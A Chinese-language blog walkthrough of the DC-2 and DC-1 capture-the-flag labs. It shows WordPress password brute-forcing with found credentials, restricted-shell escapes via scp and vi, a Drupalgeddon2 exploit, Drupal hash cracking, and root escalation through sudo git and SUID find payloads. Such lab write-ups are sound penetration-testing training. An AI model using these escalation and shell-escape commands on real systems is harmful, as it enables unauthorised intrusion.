 |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
 |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
 |     Fixed in: 4.7.15
 |     References:
 |      - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
 |     Fixed in: 4.7.15
 |     References:
 |      - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation 
 |     Fixed in: 4.7.15
 |     References:
 |      - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
 |     Fixed in: 4.7.15
 |     References:
 |      - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
 |     Fixed in: 4.7.16
 |     References:
 |      - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
 |     Fixed in: 4.7.16
 |     References:
 |      - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://hackerone.com/reports/509930
 |      - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
 |     Fixed in: 4.7.16
 |     References:
 |      - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
 |
 | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
 |     Fixed in: 4.7.16
 |     References:
 |      - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
 |
 | [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
 |     Fixed in: 4.7.17
 |     References:
 |      - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47634/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
 |
 | [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
 |     Fixed in: 4.7.17
 |     References:
 |      - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47635/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
 |     Fixed in: 4.7.17
 |     References:
 |      - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47633/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
 |
 | [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
 |     Fixed in: 4.7.17
 |     References:
 |      - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47637/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
 |     Fixed in: 4.7.17
 |     References:
 |      - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47638/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
 |      - https://hackerone.com/reports/179695
 |
 | [!] Title: WordPress <= 5.2.3 - Hardening Bypass
 |     Fixed in: 4.7.15
 |     References:
 |      - https://wpscan.com/vulnerability/378d7df5-bce2-406a-86b2-ff79cd699920
 |      - https://blog.ripstech.com/2020/wordpress-hardening-bypass/
 |      - https://hackerone.com/reports/436928
 |      - https://wordpress.org/news/2019/11/wordpress-5-2-4-update/
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated XSS via Media Files
 |     Fixed in: 4.7.18
 |     References:
 |      - https://wpscan.com/vulnerability/741d07d1-2476-430a-b82f-e1228a9343a4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4047
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27
 |
 | [!] Title: WordPress < 5.4.2 - Open Redirection
 |     Fixed in: 4.7.18
 |     References:
 |      - https://wpscan.com/vulnerability/12855f02-432e-4484-af09-7d0fbf596909
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4048
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload
 |     Fixed in: 4.7.18
 |     References:
 |      - https://wpscan.com/vulnerability/d8addb42-e70b-4439-b828-fd0697e5d9d4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4049
 |      - https://www.exploit-db.com/exploits/48770/
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p
 |      - https://hackerone.com/reports/406289
 |
 | [!] Title: WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation
 |     Fixed in: 4.7.18
 |     References:
 |      - https://wpscan.com/vulnerability/b6f69ff1-4c11-48d2-b512-c65168988c45
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4050
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc
 |
 | [!] Title: WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments
 |     Fixed in: 4.7.18
 |     References:
 |      - https://wpscan.com/vulnerability/eea6dbf5-e298-44a7-9b0d-f078ad4741f9
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25286
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122
 |
 | [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
 |     Fixed in: 4.7.20
 |     References:
 |      - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
 |      - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
 |      - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
 |      - https://core.trac.wordpress.org/changeset/50717/
 |      - https://www.youtube.com/watch?v=3NBxcmqCgt4

[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2021-03-09T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.6
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=====================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <======================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Wp Login against 3 user/s
Trying tom / CeWL 5.5.0 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/) Time: 00:00:00 <> (0 / 717)  [SUCCESS] - jerry / adipiscing                                                                                      
[SUCCESS] - tom / parturient                                                                                        
Trying admin / flag Time: 00:00:22 <=========================                   > (649 / 1127) 57.58%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

[!] WPScan DB API, HTTP Error: https://wpscan.com/api/v3/status?version=3.8.17 (Couldn't resolve host name)

[+] Finished: Sat Apr 24 12:47:49 2021
[+] Requests Done: 852
[+] Cached Requests: 6
[+] Data Sent: 256.665 KB
[+] Data Received: 2.718 MB
[+] Memory used: 233.02 MB
[+] Elapsed time: 00:02:20

扫出来一堆漏洞，但是由于都需要授权，所以都没有什么利用价值。有价值的是爆出来了两个弱口令，拿到了jerry和tom的用户权限。

登录后台

分别登录两个账户，发现jerry的账号是wp的管理员账户，tom只是普通账户。在jerry的page管理页面中查看未发布的页面，找到了flag2。

ssh

想起来nmap还扫出来了一个跑着ssh的7744端口，尝试用爆出来的两个账户登录ssh。使用tom的账号成功登陆上ssh，但是只有rshell(Restricted Shell)。试了许多命令，发现能使用的命令只有less、vi和ls。

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
flag3.txt (END)

flag4

寻找可利用的二进制文件

查看/bin/目录下的全部二进制文件，在GTFObins寻找可用的payload。

busybox就可以用来获取shell，但执行时提示command not find。查看一下PATH，发现PATH中只有/home/tom/usr/bin。查看之，发现其中只有less、ls、scp和vi四个二进制文件。

获取shell

通过`scp`获取shell

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
scp -S $TF x y:

通过`vi`获取shell

bash和sh都可以跑的通。

vi
:set shell=/bin/sh
:shell

然后在/home/jerry/目录下找到flag4，使用less读取

修复命令无法使用

查看PATH发现系统PATH中没有/bin，导致了该目录下的二进制文件无法通过shell直接使用。

世界线一

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

世界线二

运行二进制文件的时候通过完整路径使用。

/bin/cat flag4.txt

final flag

已经获取了shell，那么下一步就是提权。

内核提权

测试一下，发现服务器上安装有perl、gcc和curl，尝试一下内核提权。使用Linux_Exploit_Suggester来搜素是否存在可用的EXP，结果没有。无法内核提权。

SUID提权

两个用户都没有可利用的SUID。

sudo提权

查看两个用户的sudo权限，发现jerry有一个运行git的sudo权限。

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
 sudo PAGER='sh -c "exec sh 0<&1"' git -p help
This invokes the default pager, which is likely to be less, other functions may apply.
sudo git -p help config
!/bin/sh
The help system can also be reached from any git command, e.g., git branch. This invokes the default pager, which is likely to be less, other functions may apply.
sudo git branch --help config
!/bin/sh
Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the -C option.
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x
 TF=$(mktemp -d)
 ln -s /bin/sh "$TF/git-x"
 sudo git "--exec-path=$TF" x

使用上述payload，成功提权。

进入/root读取finalflag。

Walkthrough for DC-01

Thu, 22 Apr 2021 00:00:00 GMT

Walkthrough for DC-01

Description
简介

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
DC-1是为增长渗透测试经验而搭建的渗透测试靶机。

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
它设计给新手，但它的难度取决于你的知识与技能、以及学习能力。

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
你需要linux技能（熟悉linux命令行）、基本的渗透测试工具（Kali Linux预装工具或Parrot Security OS）。

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
有很多种提权方法，不过，我在靶机中放置了一些flag作为给新手的提示。

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
一共有5个flag，但最终目标是读取root目录下的flag。你甚至不需要root账号，但至少需要root权限。

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
如果你够强，你或许会跳过大多数flag直冲root。

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
新手或许会遭遇到从来没有遇见过的挑战，去谷歌搜吧。

下载地址

https://www.five86.com/dc-1.html

flag1

打开一个win虚拟机，netsparker先扫着。

另一边开一个Kali，nmap扫描端口。

看到有一个80端口上运行的是Apache，打开网页看看。

是个Drupal搭建的网站，上面扫描爆出来网站有robots文件，打开看一下。

#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

大概翻了一下，看到UPGRADE.txt里面有这么一行。估计这应该是个7.x或者6.x的Drupal。

INTRODUCTION
------------
This document describes how to:

  * Update your Drupal site from one minor 7.x version to another minor 7.x
    version; for example, from 7.8 to 7.9, or from 7.6 to 7.10.

  * Upgrade your Drupal site's major version from 6.x to 7.x.

上Metasploit，看看有没有和Drupal相关的EXP。

此时netsparker也扫出来一些东西。

试用了几个drupal模块，发现使用drupal_drupalgeddon2可以进入meterpreter交互模式。

然后找到flag1.txt

flag2

根据flag1的提示，我们要找drupal的配置文件。感谢万能的谷歌。

settings.php
$settings['file_public_path'] = 'sites/default/files';

flag3

在flag2之后有一个数据库的密码和账号。

获取shell，登陆一下mysql试试。

然而没有正常回显信息，原因不明。

后来看了官方的walkthrough，也没有说明此处mysql为什么没有回显。大概是限制了某些进程的回显？

测试一下服务器有没有配置python环境。

发现了python2，尝试通过python获取一个pty。

import pty
pty.spawn('/bin/bash')

成功登录mysql，获取回显。

查看users表。

users表中原本只有前两行数据，后面的数据是我在做题的过程中加进去的。

世界线一

回到metasploit，搜索一下有没有关于在drupal中获取admin权限的脚本。

发现了一个适用于drupal 7.0 < 7.31的添加admin用户的sql注入脚本。运行，成功添加了admin用户。

然后在dashboard中找到了flag3。

世界线二

做完题后突然想起来，mysql数据库user表里的password字段的加密方式以前似乎从来没有见过。在谷歌上稍微搜了一下，发现原来是Drupal的一种特殊格式。

Drupal7默认使用SHA512+salt。通过PHP的哈希函数运行哈希，以增加生成密码最终哈希的安全性。该实现分为两个全局函数：user_hash_password()和_password_crypt()。

这是Drupal 7中的示例哈希：

$S$Dxl65W9p07LfQU7jvy5CnsyDpMoLujiAgzy123khcg1OJi/P9pKS

字符0-2是类型（ $S$ 是Drupal7）

字符3是基于char在此列表中的位置的log2回合数(X)：./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz。因此，在示例中，“ D”将映射到15

字符4-11是SALT

其余的是使用2^X个回合的SHA512。

然后使用base64将二进制结果转换为字符串。
 $count = 1 << $count_log2;
 $hash = hash($algo,$salt,$password,true);
 do { $hash = hash($algo,$hash,$password,TRUE);
 } while( --$count);
整个过程可以在以下位置找到：mydrupalsite\includes\password.inc
function user_check_password($password, $account) {
 if (substr($account->pass, 0, 2) == 'U$') {
 // This may be an updated password from user_update_7000(). Such hashes
 // have 'U' added as the first character and need an extra md5().
 $stored_hash = substr($account->pass, 1);
 $password = md5($password);
 }
 else {
 $stored_hash = $account->pass;
 }

 $type = substr($stored_hash, 0, 3);
 switch ($type) {
 case '$S$':
 // A normal Drupal 7 password using sha512.
 $hash = _password_crypt('sha512', $password, $stored_hash);
 break;
 case '$H$':
 // phpBB3 uses "$H$" for the same thing as "$P$".
 case '$P$':
 // A phpass password generated using md5. This is an
 // imported password or from an earlier Drupal version.
 $hash = _password_crypt('md5', $password, $stored_hash);
 break;
 default:
 return FALSE;
 }
 return ($hash && $stored_hash == $hash);
}

既然如此，应该可以用hashcat爆破。

在hashcat的module中搜索了一下，发现还真有针对drupal7的爆破模块。

从users表中取出admin的密码，用hashcat跑一下。

hashcat -m 7900 -a 0 ./pass.txt ./dict.dic

跑出来密码是53cr3t。用管理员账号登录之后，在dashboard看到flag。

世界线三

然而，在搜索关于drupal的密码时，一不小心看到了how to reset drupal7 admin password的提问，点开看了看，发现有一个专门用于管理drupal的shell接口，可以用于修改用户账号。

在pty中，使用drush将admin的密码修改为admin。

drush user-password admin --password="admin"

flag4

根据flag3的提示，去谷歌了一下linux perm su，发现一个关于SUID的提权方式。

文件权限除了r、w、x外还有==s==、t、i、a权限。
s权限，设置使文件在执行阶段具有文件所有者的权限，相当于临时拥有文件所有者的身份。
t权限，针对目录，任何用户都可以在此目录中创建文件，但只能删除自己的文件。
i权限，不可修改的权限。
a权限，只追加的权限。
SUID 当执行的文件被赋予了s权限，就被称为Set UID，简称为SUID的特殊权限。八进制数为4000。

SUID权限仅对二进制程序有效

执行该程序必须具有x的执行权限，否则s权限并不能真正生效

本权限仅在执行该程序的过程中有效，拥有临时身份

执行者将具有该程序拥有者(owner)的权限

查找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的顶部（根）开始并找到每个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件，而不是目录或特殊文件
2表示该进程的第二个文件描述符，即stderr（标准错误）
>表示重定向
/dev/null是一个特殊的文件系统对象，它将丢弃写入其中的所有内容。
还有额外的几个命令
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} 
详见：linux 提权-SUID提权

找到具有root的SUID的文件。

文章中给了一个可以查找SUID利用方式的网页 GTFObins ,挨个搜索，发现find有利用方法：

Shell

It can be used to break out from restricted environments by spawning an interactive system shell. 它可以通过生成交互式系统外壳程序来脱离受限环境
find . -exec /bin/sh \; -quit
SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges. 如果二进制文件有SUID，则它存在提升的特权，并且可能被滥用来访问文件系统、提权或维护特权访问（作为SUID后门）。如果用于运行sh -p（请在Debian（<= Stretch）之类的系统上省略-p参数），该参数允许默认的sh 以SUID特权运行。

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path. 本示例创建二进制文件的本地SUID副本并运行它以维护提升的特权。要与现有的SUID二进制文件进行交互，请跳过第一个命令，并使用其原始路径运行该程序。
sudo install -m =xs $(which find) .
find . -exec /bin/sh -p \; -quit
Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. 如果二进制文件被sudo允许以超级用户身份运行，它存在提升的特权，并且可以用于访问文件系统、提权或维护特权访问。
sudo find . -exec /bin/sh \; -quit

使用提供的命令，成功提权。

然后找了一圈，最后在/home/flag4找到了flag4。

然后突然意识到，似乎拿flag4并不需要提权……在www-data用户下用find指令搜索也能拿到flag4。

the final flag

已经获取了root权限，按照靶机描述，cd进/root读取flag。

MatserNoah's Box

【龙蛋物语剧本】于回风峡放飞信鸢之旅

剧本简介

更新记录

下载链接

其它信息

剧本集使用说明

详细版权声明

【龙蛋物语官方扩展】2nd passport ~城市与世界巡游之旅~ 中文译文

2nd passport ~城市与世界巡游之旅~

前言

城市与世界巡游之旅

本书内容

下载链接

更新日志

翻译手记

城市之章 古都 煌罗坂

关于城市名称"煌罗坂"

はんなり

蘑菇人

城市之章 神秘之岛 莉蒂拉

玉手箱

城市之章 与猫相会。化而为猫。 喵布林格勒

关于城市名称"喵布林格勒"

在<旅途助力店 面向接下来的旅程>一节中的"猫儿见了木天蓼"

在<旅途助力店 面向接下来的旅程>一节中的"乖猫伪装屋"

新追加特性"猫系的"

在<威胁街市之物 暗黑街的堕落猫仔>一节中的"喵--布林格勒"

【龙蛋物语剧本】于白银雪原追寻极光之旅

剧本简介

更新记录

下载链接

v260628

v250821

其它信息

剧本集使用说明

详细版权声明

【COC剧本】猫是我

剧本简介

作者的碎碎念

更新记录

下载地址

其它信息

【赛博保安】某些 PDF 加密分享平台获取源文件

0 写在前面

1 工具准备

2 XX, 启动!

3 所以... 问题出在哪里

用户上传文件

用户访问文件

用户浏览器加载 pdf 文件

4 And more ... ?

【日常】2025 日本旅行 Log

出发前

Day 0 (西安✈济南)

Day 1 (济南✈大阪)

Day 2 (大阪 USJ)

Day 3 (大阪)

Day 4 (大阪🚆京都)

Day 5 (京都)

Day 6 (京都🚆三岛🚌富士河口湖)

Day 7 (富士河口湖🚌东京)

Day 8 (东京)

Day 9 (东京✈上海✈西安)

日本的铁路

JR 通票

车票

去哪儿坐车

【BRP剧本】一份礼物

剧本简介

下载地址

其它信息

【COC剧本集】【古城事件簿】古城秘史

剧本集简介

更新历史

下载地址

其它信息

【COC剧本】露营一日的恐惧

剧本简介

下载地址

城市之章古都煌罗坂

城市之章神秘之岛莉蒂拉

城市之章与猫相会。化而为猫。喵布林格勒

在<旅途助力店面向接下来的旅程>一节中的"猫儿见了木天蓼"

在<旅途助力店面向接下来的旅程>一节中的"乖猫伪装屋"

在<威胁街市之物暗黑街的堕落猫仔>一节中的"喵--布林格勒"

【龙蛋物语剧本】马鹿的奇妙旅行/◯◯大陆的奇妙旅行剧本集！